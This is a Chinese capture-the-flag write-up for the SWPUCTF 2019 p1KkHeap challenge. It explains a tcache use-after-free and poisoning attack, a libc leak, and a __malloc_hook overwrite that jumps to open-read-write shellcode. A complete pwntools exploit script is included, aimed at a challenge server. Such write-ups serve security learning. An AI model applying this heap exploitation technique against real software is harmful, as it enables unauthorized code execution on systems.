SWPUCTF_2019_p1KkHeap
SWPUCTF_2019_p1KkHeap
环境:ubuntu18
考点:UAF,沙箱逃逸
ubuntu18现在不能构造double free了!!!
所以我用patchelf来做
IDA逆一下


可以看到这里mmap了一块可rwx的空间

思路:UAF来泄漏tcache地址,然后tcache投毒到tcache_perthread_struct结构体,污染结构体的size链和pointer链,size全填满使得后来堆块可以逃逸结构体,然后后续可改pointer链可以分配到任意地址。
分配到结构体,free后泄漏libc的地址,因为程序加了沙箱,所以改mmap出的一块可写空间,写入orw的shellcode,然后打malloc hook,为shellcode的地址,然后当我们申请堆块的时候程序自动读flag
1 '''
2 author: lemon
3 time: 2020-10-12
4 libc:libc-2.27.so
5 version: python3
6 '''
7
8 from pwn import *
9
10 local = 0
11
12 binary = "./SWPUCTF_2019_p1KkHeap"
13
14 if local == 1:
15 p = process(binary)
16 else:
17 p = remote("node3.buuoj.cn",28465)
18
19 def dbg():
20 context.log_level = 'debug'
21
22 context.terminal = ['tmux','splitw','-h']
23 context(arch = 'amd64',os = 'linux')
24
25 def add(size):
26 p.sendlineafter('Your Choice: ','1')
27 p.sendlineafter('size: ',str(size))
28
29 def show(index):
30 p.sendlineafter('Your Choice: ','2')
31 p.sendlineafter('id: ',str(index))
32
33 def edit(index,content):
34 p.sendlineafter('Your Choice: ','3')
35 p.sendlineafter('id: ',str(index))
36 p.sendafter('content: ',content)
37
38 def free(index):
39 p.sendlineafter('Your Choice: ','4')
40 p.sendlineafter('id: ',str(index))
41
42 libc = ELF("./libc-2.27.so")
43
44 add(0x90) #chunk0
45 free(0)
46 free(0)
47
48 show(0)
49 leak_tcache = u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00')) - 0x250
50 print("leak_tcache:",hex(leak_tcache))
51
52 add(0x90) #chunk1
53 edit(1,p64(leak_tcache))
54 add(0x90) #chunk2
55 add(0x90) #chunk3
56
57 edit(3,b'a' * 0x40) # fill in tcache about size area
58
59 free(3)
60 show(3)
61 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
62 __malloc_hook = libc_base + libc.sym['__malloc_hook']
63 #one_gadget_list = [0x4f2c5,0x4f332,0x10a38c]
64 #one_gadget = libc_base + one_gadget_list[0]
65
66 mmap = 0x66660000
67 shellcode = shellcraft.open('flag')
68 shellcode += shellcraft.read(3,mmap + 0x200,0x30)
69 shellcode += shellcraft.write(1,mmap + 0x200,0x30)
70 shellcode = asm(shellcode)
71 print("!!!!!shellcode length:",len(shellcode))
72
73 add(0x90) #chunk4
74
75 edit(4,b'a' * 0x40 + p64(__malloc_hook) + b'a' * (0x10) + p64(mmap))
76 add(0x40) #chunk5
77 edit(5,shellcode)
78
79 add(0x10) #chunk6: __malloc_hook we use it to jump shellcode
80 edit(6,p64(mmap))
81
82 add(1)
83
84 #gdb.attach(p)
85 p.interactive()

SWPUCTF_2019_p1KkHeap的更多相关文章
- SWPUCTF_2019_p1KkHeap(tcache_entry)
花了半天的时间去理解吃透这道题目,也参考了大佬的wp (1条消息) [pwn]SWPUCTF_2019_p1KkHeap_Nothing-CSDN博客. (1条消息) swpuctf2019 p1Kk ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- 3.Kafka集群配置
- Flutter学习三之搭建一个简单的项目框架
上一篇文章介绍了Dart的语法的基本使用,从这篇文章开始,开发一个基于玩Android网站的app.使用的他们开放的api来获取网站数据. 根据网站的结构,我们app最外层框架需要添加一个底部导航栏, ...
- 并发编程(二)Java中的多线程
一.创建多线程 创建多线程有以下几种方法: 继承Thread,重写run方法 实现Runnable接口,重写run方法[无返回值] 实现Callable接口,重写call方法[有返回值] 继承Thre ...
- MySQL 5.7安装与配置
Windows 一.到MySQL官网下载压缩版本,下载后文件为mysql-5.7.20-winx64.zip,解压到D:\develop\mysql-5.7.20-winx64. 二.在系统变量P ...
- py004.python的逻辑运算,随机数及判断语句if,elif,else
判断语句又称 "分支语句" if判断语句的格式: if 条件1: 条件1满足时,执行的代码 -- # 前面有缩进4个空格 elif 条件2: 条件2满足时,执行的代码 -- # 前 ...
- std(标准库)和STL(标准模板库)的关系
C++标准库的内容分为10类: C1.语言支持 C2.输入/输出 C3.诊断 C4.一般工具 C5.字符串 C6.容器 C7.迭代器支持 C8.算法 C9.数值操作 C10.本地化: 下面分类详解: ...
- shiro认证流程源码分析--练气初期
写在前面 在上一篇文章当中,我们通过一个简单的例子,简单地认识了一下shiro.在这篇文章当中,我们将通过阅读源码的方式了解shiro的认证流程. 建议大家边读文章边动手调试代码,这样效果会更好. 认 ...
- JDK1.8新特性之(三)--函数式接口
在上一篇文章中我们介绍了JDK1.8的新特性有以下几项. 1.Lambda表达式 2.方法引用 3.函数式接口 4.默认方法 5.Stream 6.Optional类 7.Nashorm javasc ...
- GetPrivateProfileString
参考: 1. https://blog.csdn.net/tunnel115/article/details/3081340 2. https://blog.csdn.net/hopedream200 ...
- matlab中fopen 打开文件或获得有关打开文件的信息
参考:https://ww2.mathworks.cn/help/matlab/ref/fopen.html?searchHighlight=fopen&s_tid=doc_srchtitle ...